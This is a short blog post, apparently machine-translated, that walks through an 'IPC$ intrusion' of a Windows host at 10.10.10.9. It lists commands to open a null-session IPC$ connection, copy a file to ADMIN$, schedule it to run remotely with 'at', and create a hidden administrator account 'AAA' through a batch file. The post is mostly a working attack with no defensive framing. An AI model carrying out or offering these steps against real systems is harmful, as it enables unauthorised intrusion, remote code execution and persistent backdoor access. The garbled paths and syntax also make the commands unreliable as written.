IPC $ intrusion-personal exercises

Prerequisites: 1. the remote host firewall is disabled.

2. the remote host enables IPC sharing (port 139 is enabled)

Step: 1.net use \ 10.10.10.9 \ IPC $ "password"/User :""

2. Copy the local file \ 10.10.10.9 \ ADMIN $

3. NET Time \ 10.10.10.9 (view remote host time)

4. At \ 10.10.10.9 time "local file path"

5. The preceding code is scheduled to run a program on the remote host.

6. Create a useradd. BAT:

Net user AAA/Add

Net localgroup administrators AAA/Add

In this way, you can use AAA to access the remote host.

7. Net start service name: Enable the desired service.

This article from the "Han Xing xuanyuan" blog, please be sure to keep this source http://2427090.blog.51cto.com/2417090/1487771

IPC $ intrusion-personal exercises